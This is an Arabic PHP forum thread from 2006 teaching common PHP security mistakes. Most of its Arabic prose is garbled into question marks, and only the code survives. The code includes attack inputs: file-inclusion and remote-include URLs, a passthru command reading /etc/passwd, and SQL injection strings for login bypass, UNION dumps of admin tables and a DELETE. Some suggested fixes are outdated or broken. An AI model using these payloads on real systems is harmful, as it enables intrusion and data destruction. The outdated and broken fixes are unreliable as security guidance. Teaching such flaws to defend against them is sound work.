أخطاء المبرمجين الأمنية في php
المشرف: alhitary
قوانين المنتدى
هذا المنتدى عام جداً ويمنع طلب الدعم الفني أو ما يخص phpBB فقط نقاشات عامة تهم أصحاب المنتديات، كذلك يمنع بتاتاً إضافة المواضيع المتعلقه بالهكر، الكراك، السيريلات، البروكسي
هذا المنتدى عام جداً ويمنع طلب الدعم الفني أو ما يخص phpBB فقط نقاشات عامة تهم أصحاب المنتديات، كذلك يمنع بتاتاً إضافة المواضيع المتعلقه بالهكر، الكراك، السيريلات، البروكسي
- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
????? ????????? ??????? ?? php
????? ??? ?????? ??????? ????? ?? ?????? ??? ??????? ??????? ?????? ???? ?? ?????? ?? ???? ????? ?? ??????? ? ?? ?? ???? ???????? ???? ??? ?????? ????? ????? ?? ????????? ? ??? ??? ?? ??? ?? ?? ????????? ?? ??????? ??? ??? ??? ??????? ? ? ????? ??? ?????? ????? ??????? ????? ??? ?????? ????? ??????? ?????? ????? ??? ?? ?????? ?????? ?? ????? ? ????? ??????? ?????? ?? ??? ?? ?????? ????? ??? ???? ?? ?????? ?????? ??????? ? ????? ???? ????? ???? ???? ???????? ?? ???? ???? ?? ???? ? ?? ????? ??????.
1- ?? ???? ?? ??????? ????? ??? ???? ?? ??? ?????? ??? ??? ?????? ?? ??? ????? (???? ??? ??? ?????? ???????????? ? ?? ????? ??? ??) ? ?? ?? ?????? ????? include , require , ?? ?? ?? ???? ??????? ?????? ????? ??? ??????? ?? ??? ???????? ??? ?????? ?? ??? ????????.
????
??? ??? ?? ??? ?????? ?? ??? ????? $page ? ????? ??? ?? register_globals ?? ??? ??????? ??? ???? ??? ?????? ???????? ????? script.php?page=/etc/passwd
? ????? ??? ??? ??? ????? ?? ?????? ??? ??? ?? ??? ?? ??? ????? ????? ????? ?? ?????? ??? ?? ??? ??? ?? ????? ? ???? ?? ????? ?????? ??? /etc/passwd!!!!!
???? ????? ?? ????? ???? ??? ?? ????? ?? ??? ?? ???? ????????? ???? ?? ??????? ???? ?????? ????? ?? ????? ????.
????
?????? ??? ???????? ????? ?? ???? ??? ????? ??? ??????? ?? SSI ?? ????? ??????? ? ???? ?? ?????? ?? ??? ?????? ???????? ???? ????? ???? ????? ???? ??? ???????.
????
2- ????? ????? ??????? ?? ??? ???????? ?? ?????? eval ???? ??? ????? ???? ???????? ???? ?? ????? ?? ????? ???:
? ??? ????? ????? ??? ????? ????? ??? /etc/passwd.
?? ??????? eval ???? ?????? ?????? ?? ??? ?????? ? ??? ???? ?? ????????? ??? ??????? ? ?? ??? ?????? ?? ??????? (Templates) ????? ?? ?????? ?????? ???????? ???????? ?? ??? ???????? ? ?????? ???? sprintf ????? ????.
1- ?? ???? ?? ??????? ????? ??? ???? ?? ??? ?????? ??? ??? ?????? ?? ??? ????? (???? ??? ??? ?????? ???????????? ? ?? ????? ??? ??) ? ?? ?? ?????? ????? include , require , ?? ?? ?? ???? ??????? ?????? ????? ??? ??????? ?? ??? ???????? ??? ?????? ?? ??? ????????.
????
كود: تحديد الكل
if(isset($page))
{
include($page);
}
??? ??? ?? ??? ?????? ?? ??? ????? $page ? ????? ??? ?? register_globals ?? ??? ??????? ??? ???? ??? ?????? ???????? ????? script.php?page=/etc/passwd
? ????? ??? ??? ??? ????? ?? ?????? ??? ??? ?? ??? ?? ??? ????? ????? ????? ?? ?????? ??? ?? ??? ??? ?? ????? ? ???? ?? ????? ?????? ??? /etc/passwd!!!!!
???? ????? ?? ????? ???? ??? ?? ????? ?? ??? ?? ???? ????????? ???? ?? ??????? ???? ?????? ????? ?? ????? ????.
????
كود: تحديد الكل
script.php?page=http://mysite.com/mal_script.php
?????? ??? ???????? ????? ?? ???? ??? ????? ??? ??????? ?? SSI ?? ????? ??????? ? ???? ?? ?????? ?? ??? ?????? ???????? ???? ????? ???? ????? ???? ??? ???????.
????
كود: تحديد الكل
$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Foot Bokra");
}
كود: تحديد الكل
script.php?input=;passthru("cat /etc/paswd");
? ??? ????? ????? ??? ????? ????? ??? /etc/passwd.
?? ??????? eval ???? ?????? ?????? ?? ??? ?????? ? ??? ???? ?? ????????? ??? ??????? ? ?? ??? ?????? ?? ??????? (Templates) ????? ?? ?????? ?????? ???????? ???????? ?? ??? ???????? ? ?????? ???? sprintf ????? ????.
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 5:03 pm، تم التعديل 3 مرات في المجمل.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
3- ???? ?? ?????? ?? ????????? ????? ???????? SQL Statement ????? ?? ????? ????? ????? ??? ????? ?????? ?? ??? SQL ?????? ???? ????? \ ??? ???? ????? ????? ?????? GET , POST , COOKIE ? ???? ??????? ??? ??? ?????? ?? ??????? (') ? ?? ?? ???????? ?? ???? ????????? ????? ??? ??????? ??? ????? ????? ??? ???? ???????? ???? ????? \ ??? ?? ??? ?????? ????? (') ???? ?? ????????? ? ????? ??? ???? ???????? $name ?? ??????? form ? ???? ????????? ??????:
??? ??? ??????? ????? ??? ????? (') ???? ???? ?????? ??????? \ ??? ????? ? ??????? ?? ???? ????? (') ??? ???? ????????? ? ?????? ?? ???????? ???? ???????? ???????:
???? ?????? ???????? ????? ????? ??? ?? ???? ????????? ? ??????? ??? ??? ????????? ???????? ? ??????? ??????? ?????? ???????
??? ??????? ??????? ????? ?? ???? ???? ????????? ? ??? ???? ???????? ???????? ? ????? ?????? magic_quotes_gpc ??? ???? ?????? ??????? ???????? ? ????? ?? ?? ???? ?? ??? ??????? ? ?????? ??????? ?????? get_magic_quotes_gpc() ?????? ??? ???? ?? ??? ??????? ?? ?? ? ?????? ?? ??????? addslashes() ?? ???? ???? ??????? ?????? ?????? ??????? \ ??? ???????? ??????? ?? ??? ????????.
4- ??? ????? ????? ?????? ?? ????? ???????? ???? ?? ??????? ??? ??????? ?? ????? ???????? ? ??? ????? ???????? ?????? ?? ???? ???? ????????? ?????? ?? ? ?????? ????? ?? ???? ????????? ??????? Shared Hosting ??? ?????? ??? ?? ?? ???? ??? ??????? ???????? ??????? ?????? ???????? ? ????????? ????? ????? ?????? ???????? ?????? ??? ??? 3DES ?? AES5 ? ?????? ?? ??????? ????? ????? ?????? ?? ?? ???????? ?? ???? ???? ?????? ??????? ? ?????? ???????? ?? ??? ????? ?? ???? ????? ?? ??????? ? ?? ??????? ??? ????? key ????? ???? ?????? ? ? ??? ??? ????? ???????? ????? ???? ? ????? ??? ?????????? ????? ? ???? ?????? ???? ??????? ?? ??????? ???? ???? ??????? ??????? Session hash functions ??? ???? SHA-1 ?? md5.
كود: تحديد الكل
UPDATE users SET Name='$name' WHERE ID=1;
كود: تحديد الكل
$name',Admin='1
???? ?????? ???????? ????? ????? ??? ?? ???? ????????? ? ??????? ??? ??? ????????? ???????? ? ??????? ??????? ?????? ???????
كود: تحديد الكل
addslashes() ?? mysql_escape_string()
4- ??? ????? ????? ?????? ?? ????? ???????? ???? ?? ??????? ??? ??????? ?? ????? ???????? ? ??? ????? ???????? ?????? ?? ???? ???? ????????? ?????? ?? ? ?????? ????? ?? ???? ????????? ??????? Shared Hosting ??? ?????? ??? ?? ?? ???? ??? ??????? ???????? ??????? ?????? ???????? ? ????????? ????? ????? ?????? ???????? ?????? ??? ??? 3DES ?? AES5 ? ?????? ?? ??????? ????? ????? ?????? ?? ?? ???????? ?? ???? ???? ?????? ??????? ? ?????? ???????? ?? ??? ????? ?? ???? ????? ?? ??????? ? ?? ??????? ??? ????? key ????? ???? ?????? ? ? ??? ??? ????? ???????? ????? ???? ? ????? ??? ?????????? ????? ? ???? ?????? ???? ??????? ?? ??????? ???? ???? ??????? ??????? Session hash functions ??? ???? SHA-1 ?? md5.
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 4:49 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
5- ???? ????? ??? ??????? SQL
?????? ?? ???? ????????? ???? ???????? ?? ??????? ?????? ?? ??? ???????? ? ???? ?????? ??????:
?????? ????? ?? ???????? ???? (#) ????? ?? ???? ?????? ?? ?? ???? ????????? ????? ???????:
????? ??? ?????? ????? ???? ???? ????????? ??? ????? ???????? ????? (#) ? ?? ?? ????? ???? ?????? ?????!!
??? ?? ?? ??????? ??????? ?? ??? ?????? ???? ?? ????? ???????? ? ??????? ?????? ????? (#) ???? ???? ????????? ??? ????? (#) ???? ???? ?? ???? (???? ???? ?????????) ????? ?? ????? ? ???? ?????? ?????? ???????? addslashes().
6- ????????? ??? ??? ?? ????? ????? ????? ?????? ? ?? ??? ?? ???? ???????? ???? SHA-1 ? ????? MD5 ???? ?? ?????? ?? ?????????? ? ???? ???? ????? ??? 128-bit ??? ? ?? ????? ?? SHA-1 ???? ??? 160-bit ? ??? ??????? ?????:
???? ?????? ???? ?? ?????? addslashes() ??? ????? ?????? ? ??? ???? ??? ???? ? ?? ?? SHA-1 ?????? ??? ??????? ????????? (Hexadecimal) ?? (0 ? 9 ? A - F) ????? ??? ?????? ?? ?????? ?? ?? ?????? ?????? ?? ??? ????????? ??? (').
??????? ?????? ?? ?????? ?????? ????????? (??????? ?? ??? ???????? ? ? ???????? ?????? ?? ????? ???????? ???????? ?????:
??? ?? ?????? ?? ???? ?????? ??????? ????? ?????? ???? ?? ????? ???????? ???? ???? ??????? ??? ? ??????? ???????.
?????? ?? ???? ????????? ???? ???????? ?? ??????? ?????? ?? ??? ???????? ? ???? ?????? ??????:
كود: تحديد الكل
$stmnt = SELECT login_id FROM users WHERE user = '" .
$_POST["username"] . "' AND password = '" . $_POST["password"];
?????? ????? ?? ???????? ???? (#) ????? ?? ???? ?????? ?? ?? ???? ????????? ????? ???????:
كود: تحديد الكل
SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''
????? ??? ?????? ????? ???? ???? ????????? ??? ????? ???????? ????? (#) ? ?? ?? ????? ???? ?????? ?????!!
??? ?? ?? ??????? ??????? ?? ??? ?????? ???? ?? ????? ???????? ? ??????? ?????? ????? (#) ???? ???? ????????? ??? ????? (#) ???? ???? ?? ???? (???? ???? ?????????) ????? ?? ????? ? ???? ?????? ?????? ???????? addslashes().
6- ????????? ??? ??? ?? ????? ????? ????? ?????? ? ?? ??? ?? ???? ???????? ???? SHA-1 ? ????? MD5 ???? ?? ?????? ?? ?????????? ? ???? ???? ????? ??? 128-bit ??? ? ?? ????? ?? SHA-1 ???? ??? 160-bit ? ??? ??????? ?????:
كود: تحديد الكل
$insertSql .= "'" . sha1($_POST["password1"]) . ", ";
???? ?????? ???? ?? ?????? addslashes() ??? ????? ?????? ? ??? ???? ??? ???? ? ?? ?? SHA-1 ?????? ??? ??????? ????????? (Hexadecimal) ?? (0 ? 9 ? A - F) ????? ??? ?????? ?? ?????? ?? ?? ?????? ?????? ?? ??? ????????? ??? (').
??????? ?????? ?? ?????? ?????? ????????? (??????? ?? ??? ???????? ? ? ???????? ?????? ?? ????? ???????? ???????? ?????:
كود: تحديد الكل
$loginQuery .= " password = '". sha1($_POST["password"]) . "'";
??? ?? ?????? ?? ???? ?????? ??????? ????? ?????? ???? ?? ????? ???????? ???? ???? ??????? ??? ? ??????? ???????.
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 4:50 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
7- ??????? (Session)
????? ??????? ??????? ? ???? ???? ????? ?? ??????? ????? ??? ????? ???:
??????? ?????? ?? ???????? ?? ??????? ? ???? ?? ???? ????? ???? ?????? ??? ???? ??? ?????? ? ???? ???? ?????? ???????? ????? ??? ??? ???????? ? ?????? SSL ?? TLS ??? ???? ?????? ? ? ?? ???? ??????? ?????? session_set_cookie_params ?? ????? session.cookie_secure ?? ??? ini ? ? ???? ??????? ????? ???? ???????? ???? ????? ??? ?????? ??? ???? ?????? ?? ???? ??? ??? ??? ??????? ???? ??? ?????? ? ????????.
??????? ??????? ??? ?????? ??? ?? ???? ?????? ?? ??????? ???? ??? (??? ???? ??????? ???????? ?????) ??? ??????? ?????? ?????? ? ??????? ?????? ??? ???? ???? ?? ???? ? ? ???? ?????? ?? ??? ???? ?????? ???? ?? ????? ????????? (??? ???IP ?????) ?? ?????? ?? ???? ???? ??????? ???????? ?????? (SHA-1 ?? MD5) ? ??? ??? ????? ????? ??????? ????? ??? ??? ? ??? ?????? ????????? ???????? ? ?????? ???? ?? ??? ???? ?????? ???????? ?? ??.
??????? ??????? ? ?? ???????? ?????? ?? ??????? ????? ? ????? ????? ??? ???? ?????? ? ?? ?????? ??????? ??? ??? ??????? ?????? ????? ????? ?? ??? 1 ? 10.000 ? ???? ?????? ???? ?????? ??? ??? ???? ?? ?? ??????? ??? ??? ?? 128-bit.
????? ???? ????? ???? ?? ??? ?? ?????? ?? ???? ???? ???????? session_start() ???? ?? ???? ????? ???? ?????? ???? ????? ?????? ? ????? ???cookie ?? ???? session_generate_id ? ??? ??? ??? ???? ?????? ??? ???????? ???? ????? ????? ?? ????? ???????? ?? ??????
???? ???????? ????? ??: ???? ?????? login_id ? ????? name ? ?????? email ? ??? ???????? username.
?? ??????? ???????? ??? ???? ?????? ????? ???????? IP ? ????? ???? ???? ??? ??????
???? ??? ????? ????? ??????
????? ??????? ? ?????? ?? ?????? ????????:
?????? ?? ?????? ???????? ?????? ???? ???? ?? ???????? ??? ?????? ?????? ? ?? ??????? ??????? ???? ???? ????? ????? ?? ??? ??? ???????? ??? ???????? ? ??? ???? ?????? ????????.
??? ???? ?????? "includes/session.inc.php" ????? ??? ????? ???????? (?????? ?????? ?? ??????? ???? ???? ???????( ? ? ???? ????? ?????? ?? ?? ???????? ?? ?? ???? ??????? ??????? ? ?????? ???????? ?? ?????? ?? ?? ?????? ?? ??????? ???? ???? ? ???? ????? ??? ?????? ???????? ???? ????? ????? ?????? ? ??? ??????? ?? ?????? ?? ?? ????????? ????? ?? ?????? $_SESSION
????? ?????? ?? ???? ?????? ??? ???? ????? ?????
???? ?????? ???? ???? ?? ?? ???? ?????? ?? ?? ???????? ????? ?????? ? ??? ???? ?? ???? ??? ??? ???????? ?? ???? ?????? ??????? ????? ?? ????? ????? ???IP ???? ?????? ????? ??? ?? ????? ???????? ???? ???? ????????
?? ?? ????? ?????? ????? ??? ???? ?? 30 ????? (1800 ?????) ??? ???? ?????? ????? ? ?????? 30 ????? ???? ?????? ? ??? ??? ???? ??? ???? ???????
?? ????? ????? ???????? ????? ???? ??? ??? ?? ????? ???? ??? ?? ???? ???????? ???????? ??????? ?? ????? ?????? ??? ????? ???????? ? ????? ?????? ?????? ???????? ???? ???? ??? ?? ??? ???????? ??????? ??? ??????? IP ? ???????
??? ??? ???? ????? ????? ?????? ??????
????? ??? ???? ?? ???? ???? ?????? ?? ???cookie
????? ??????? ??????? ? ???? ???? ????? ?? ??????? ????? ??? ????? ???:
??????? ?????? ?? ???????? ?? ??????? ? ???? ?? ???? ????? ???? ?????? ??? ???? ??? ?????? ? ???? ???? ?????? ???????? ????? ??? ??? ???????? ? ?????? SSL ?? TLS ??? ???? ?????? ? ? ?? ???? ??????? ?????? session_set_cookie_params ?? ????? session.cookie_secure ?? ??? ini ? ? ???? ??????? ????? ???? ???????? ???? ????? ??? ?????? ??? ???? ?????? ?? ???? ??? ??? ??? ??????? ???? ??? ?????? ? ????????.
??????? ??????? ??? ?????? ??? ?? ???? ?????? ?? ??????? ???? ??? (??? ???? ??????? ???????? ?????) ??? ??????? ?????? ?????? ? ??????? ?????? ??? ???? ???? ?? ???? ? ? ???? ?????? ?? ??? ???? ?????? ???? ?? ????? ????????? (??? ???IP ?????) ?? ?????? ?? ???? ???? ??????? ???????? ?????? (SHA-1 ?? MD5) ? ??? ??? ????? ????? ??????? ????? ??? ??? ? ??? ?????? ????????? ???????? ? ?????? ???? ?? ??? ???? ?????? ???????? ?? ??.
??????? ??????? ? ?? ???????? ?????? ?? ??????? ????? ? ????? ????? ??? ???? ?????? ? ?? ?????? ??????? ??? ??? ??????? ?????? ????? ????? ?? ??? 1 ? 10.000 ? ???? ?????? ???? ?????? ??? ??? ???? ?? ?? ??????? ??? ??? ?? 128-bit.
????? ???? ????? ???? ?? ??? ?? ?????? ?? ???? ???? ???????? session_start() ???? ?? ???? ????? ???? ?????? ???? ????? ?????? ? ????? ???cookie ?? ???? session_generate_id ? ??? ??? ??? ???? ?????? ??? ???????? ???? ????? ????? ?? ????? ???????? ?? ??????
كود: تحديد الكل
$_SESSION["user"] = new User($userData->login_id, $userData->name, $userData->email, $userData->username);
???? ???????? ????? ??: ???? ?????? login_id ? ????? name ? ?????? email ? ??? ???????? username.
?? ??????? ???????? ??? ???? ?????? ????? ???????? IP ? ????? ???? ???? ??? ??????
كود: تحديد الكل
$_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["timestamp"] = time();
???? ??? ????? ????? ??????
????? ??????? ? ?????? ?? ?????? ????????:
?????? ?? ?????? ???????? ?????? ???? ???? ?? ???????? ??? ?????? ?????? ? ?? ??????? ??????? ???? ???? ????? ????? ?? ??? ??? ???????? ??? ???????? ? ??? ???? ?????? ????????.
??? ???? ?????? "includes/session.inc.php" ????? ??? ????? ???????? (?????? ?????? ?? ??????? ???? ???? ???????( ? ? ???? ????? ?????? ?? ?? ???????? ?? ?? ???? ??????? ??????? ? ?????? ???????? ?? ?????? ?? ?? ?????? ?? ??????? ???? ???? ? ???? ????? ??? ?????? ???????? ???? ????? ????? ?????? ? ??? ??????? ?? ?????? ?? ?? ????????? ????? ?? ?????? $_SESSION
كود: تحديد الكل
if(!isset($_SESSION["user"])) {
die("Not logged in");
}
????? ?????? ?? ???? ?????? ??? ???? ????? ?????
كود: تحديد الكل
if(!is_numeric($_SESSION["user"]->loginID)) {
die("Not logged in");
}
???? ?????? ???? ???? ?? ?? ???? ?????? ?? ?? ???????? ????? ?????? ? ??? ???? ?? ???? ??? ??? ???????? ?? ???? ?????? ??????? ????? ?? ????? ????? ???IP ???? ?????? ????? ??? ?? ????? ???????? ???? ???? ????????
كود: تحديد الكل
if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {
header("Location: user_logout.php");
}
?? ?? ????? ?????? ????? ??? ???? ?? 30 ????? (1800 ?????) ??? ???? ?????? ????? ? ?????? 30 ????? ???? ?????? ? ??? ??? ???? ??? ???? ???????
كود: تحديد الكل
if((time() - $_SESSION["timestamp"]) > 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION["timestamp"] = time();
}
?? ????? ????? ???????? ????? ???? ??? ??? ?? ????? ???? ??? ?? ???? ???????? ???????? ??????? ?? ????? ?????? ??? ????? ???????? ? ????? ?????? ?????? ???????? ???? ???? ??? ?? ??? ???????? ??????? ??? ??????? IP ? ???????
كود: تحديد الكل
$_SESSION = array();
??? ??? ???? ????? ????? ?????? ??????
كود: تحديد الكل
session_destroy();
????? ??? ???? ?? ???? ???? ?????? ?? ???cookie
كود: تحديد الكل
unset($_COOKIE[session_name()]);
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 4:52 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
8- ???? ????? ??? ??????? SQL
?? ????? ????????? ??????? ??????? ?? ??????? ??? ????????? ?? ??? ?????? ?? ????????? ??????? ??? ???? ????????? ??? ?? ???? ?????? ??????? ??? ????? ?????? ??? ? ?? ?????? ?????? ?????? ???? ??????? ???????:
? ??? ??? ?? ??? ?????? ?? ??????? $id ???? ??? ???????? ????? ??? ?? ??? ?????? ?????? ??????? ?? ???? ??????? ???????? ?
????? ???? ????????? ??????:
??? ??? ???? ?????? ????? ?? ??????? ?????? `admin_users` ? ?? ?????? ?? ??????? ???? ??? ????? ? ? ???? ??? ?? ??????? $id ?? ??? ??? ????? ?????? ?? ??? ??? (???) ? ???? ??????? ???? ??????? ??????? ? ??? ?????? ??? ?????? ???????? ???? intval ?????:
??? ??????? ??????? ? ??????? ?? ????:
? ????? ??? ? ??? ??????? ????? ?? ??:
? ??? ??? ?? ??? ?????? ?? ??????? $name ???? ??? ???????? ????? ??? ?? ??? ?????? ?????? ??????? ?? ???? ??????? ???????? -
??? ???? ???????????? ?? ??????? ?????? `admin_users` ? ??????? ???? ??? ????? ? ???? ??? ?? ??????? $name ?? ????? ??? ??? ????? ?????? ?? ??????? ?????? $name ????? ??? ?? (???) ? ???? ??????? ?????? ?? ?? ?????? ?? (???) ? ????? ???? ????????? ? ??? ??????? ?????? ???:
??? ??????? ??????? ??? ??????:
?? ????? ????????? ??????? ??????? ?? ??????? ??? ????????? ?? ??? ?????? ?? ????????? ??????? ??? ???? ????????? ??? ?? ???? ?????? ??????? ??? ????? ?????? ??? ? ?? ?????? ?????? ?????? ???? ??????? ???????:
كود: تحديد الكل
$id = $_GET["id"];
$result = mysql_query("SELECT * FROM `articles` where id=$id;");
? ??? ??? ?? ??? ?????? ?? ??????? $id ???? ??? ???????? ????? ??? ?? ??? ?????? ?????? ??????? ?? ???? ??????? ???????? ?
كود: تحديد الكل
Page.php?id=0 UNION SELECT * FROM `admin_users`
????? ???? ????????? ??????:
كود: تحديد الكل
SELECT * FROM `articles` WHERE id=0
UNION SELECT * FROM `admin_users`;
??? ??? ???? ?????? ????? ?? ??????? ?????? `admin_users` ? ?? ?????? ?? ??????? ???? ??? ????? ? ? ???? ??? ?? ??????? $id ?? ??? ??? ????? ?????? ?? ??? ??? (???) ? ???? ??????? ???? ??????? ??????? ? ??? ?????? ??? ?????? ???????? ???? intval ?????:
كود: تحديد الكل
$id = intval($_GET["id"]);
??? ??????? ??????? ? ??????? ?? ????:
كود: تحديد الكل
$id = $_GET["id"];
If (!is_numeric($id)) {
???????.echo "foot bokra"
} else {
???????.continue
}
? ????? ??? ? ??? ??????? ????? ?? ??:
كود: تحديد الكل
$name = $_GET["name"];
$result = mysql_query("SELECT * FROM `articles`
WHERE title=\"$name\";");
? ??? ??? ?? ??? ?????? ?? ??????? $name ???? ??? ???????? ????? ??? ?? ??? ?????? ?????? ??????? ?? ???? ??????? ???????? -
كود: تحديد الكل
Page.php?name= UNION SELECT * FROM `admin_users`
WHERE name="%
??? ???? ???????????? ?? ??????? ?????? `admin_users` ? ??????? ???? ??? ????? ? ???? ??? ?? ??????? $name ?? ????? ??? ??? ????? ?????? ?? ??????? ?????? $name ????? ??? ?? (???) ? ???? ??????? ?????? ?? ?? ?????? ?? (???) ? ????? ???? ????????? ? ??? ??????? ?????? ???:
كود: تحديد الكل
$name = str_replace("\"", """, $_GET["name"]);
??? ??????? ??????? ??? ??????:
كود: تحديد الكل
$name = str_replace("\"", "\\\"", $_GET["name"]);
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 4:59 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
9- ???? ????? ??? ??????? SQL
?????? ?? ?????? ???????? ?? ???? ????????? ???????? ??? ??? ???????? ?? ???? ???? ?????? ??????? ??? ????????? ????? ??? ????? ?????? ???? ????? ???????? GET ??? ?????? POST ?? ??? ??????:
? ??? ??????? ?????? ???????:
???? ???? ????????? ??????:
? ??? ???? ????? ????? ??? ????? ??? ??????? ?? ??? ??? ????? ?? ??????? ?? ???? ??????? ??? ????????? ? ???? ??? ?????? ??????? ?????? ??? ????????? ? ??????? ????? ??? ?? ??? ???????:
10- ????? ??????? ????????? Cross-Site Scripting XSS
?? ??????? ??????? ??????? ??????? ?????????(XSS) ? ?? ????? ??????? ????? ?????? ???? ?? ?????????? ??????? ?????? ??????? ?????? ?? ?????? ??????? ? ???????? ? ????? ????? ? ? ??????? ?? ??????? ???? ?? PHP ??? ? ???? ?? ?? ??? ?????? ??? ??????? ?? ?????? ? ?? ???? ???? ??????? ???? HTML ? Javascript ?? ?????? ?? ???? ??????? FORMS ??? ???? ????? ?? ???? ???????? ??????? ????? ?????? ???? ???? ???????? ?? ???????? ?? ?? ???? ??? ?? ??? ?? ????? ???????? ? ? ?????:
?????? ???????? ????? ?????? ??????? ?? ???? ???? ??????? ?? ???????:
??? ???? ???? ??? ??????? ????? ???? HTML ? Javascript ??? ???????? ? ??? ???? ?????? ????? ? ?????? ????????? ??? ????? ?????? ? ???... ??? ?? ????? $note ? ????? ?????? ????????? ????? ???? ???? ??????? ???? ?????? ? ?????? ??????? ????? ????? ???? Javascript ?????? ??????? ?????? ??? ???? ???? ?? ??? ??? ?? ????? ?? ??????? pop up (? ??????? ??????? ???? ????? ?? ? ?? ?????? ??? ?? ?????? ??? ?????? ?? ??? ?????) ? ???? ?? ???? ???? < > ??? ?? ?????? ??????:
? ?????? ??????:
???? ???? ??? ?????? ??? ??? ???? ??? ??????? ?? ?????? ? ?? ??????? ???? htmlentities() .
11- ??? ???? ????????
?? ?????? ?????? ????? ??? ???????? ?? ?? ??????? ???? ???? ???????? ????? ? ??????? ? ?????? ??? ??????? ? ?????? ?? ??????????? ? ? ??????? ?? ??? ?????? ?? ???? ???????? ??????? ???? ?????? ?????? ? ??????? ???? ?? ??? ???? ???? ???????? ? ???? ???? ??? ???????.
- ??? index.php ???? ?????? ?? ?????? ?????? Root.
- ????? ??????? ?????? ??? Config ???? ?? ???? ? ???? ???? ??? ???? ?????? /lib/.
- ????? ??????? ???? ?? ???? ???? ??? ???? ?????? /tpl/ ? ??? ????? ?????? ???????? ??? .htaccess.
- ????? ?????? Classes ???? ?? ???? ???? ????? /classes/ ? ??? ????? ?????? ???????? ??? .htaccess.
- ????? ????? ????? ?? ???? /images/.
- ??? ??? ?????? ????? ???? ?????? ActionScript ?????? ??? ?????? ????? ? ???? ???? /flashscr/.
??? ?? ???? ???? ?????? ?????? ???? ??????? ???????:
- ?? ?? ????????? ???????? ?? ??? index.php ???? ??????? parameters ??? ???? ????? ?????? ?? ????? ????? ?????? ???????? ??? ??? ????? ??????? ???? ????? ???? ???????? ?? ??? ???????.
- ???? ?????? ??????? FORMS ?????? ???????? ???? ???????? ??? ??? ????? ?????? ???????? ??? ?????? ???????: ?class=account&action=login ??? ???? ??????? ???? ????? ??? ? ??? ????? ?????? ???????? ?? ?? ???? ??????????.
- ???? ???????? ??????? ?? ????? ???????? ????? ??? ???????? ?? ???????? ??? ????? ??? ??? ????? ?????? ?????? ??????? ?? ??????? ????? ?? ???? ??? ????? ??????? ? ??????? ?? ??? ?????? ?? ??????? ??????? ???? index.php.
index.php
|
|--- ??? ????? ???????
|
|--- ????? ?????????
|--- ???????
|--- ???????
|--- ???? ????????
|--- ???????
|
|-----------|
|
|--- ????? ??????
|--- ???.???????
|--- ???.???????
|--- ???.???????
|--- ???.????????
|
||--- ???.???????
||
||--- ???? ???????
|
|--- ????? ????????
? ?????? ?????? ???? ??? ?????? ?? ??? ???? ???????? ??? ? ??? ???? ? ?? ??????? ?? ???? ??? ???? ?? ??????? ???????? ???????:
- ????? ???? ???????? ??????? (???? ??? ?????) ?? ??? ???????? ?? ????? ???????? ?? ???? ???? ??? ????? ???????.
- ????? ? ??? ???? ??????? ?? ???? ???? ??? ????? ???????.
- ?? ??? ?? ????? ?????? ???? ???? ??????? ?????? ???? ????? ???????? ??????? ? ??????? ?? ????? ?? ?????? ?????? ?? ??? ????? ???????.
?????? ?? ????? ?? ??? ?? ???? ?????? ?????????? ????? ??? ????? ???????? ???? ? ???? ?????? ??? ?????? ???? ?????.
?????? ?? ?????? ???????? ?? ???? ????????? ???????? ??? ??? ???????? ?? ???? ???? ?????? ??????? ??? ????????? ????? ??? ????? ?????? ???? ????? ???????? GET ??? ?????? POST ?? ??? ??????:
كود: تحديد الكل
$query = "SELECT id, name FROM `records` LIMIT "
. $_POST['NUM'];
$result = $db->select($query);
? ??? ??????? ?????? ???????:
كود: تحديد الكل
<form action="form.php" method="POST">
<input type="text" name="NUM"
value="5; DELETE FROM `records`">
<input type="submit">
</form>
???? ???? ????????? ??????:
كود: تحديد الكل
SELECT id, name FROM `records` LIMIT 5;
DELETE FROM `records`
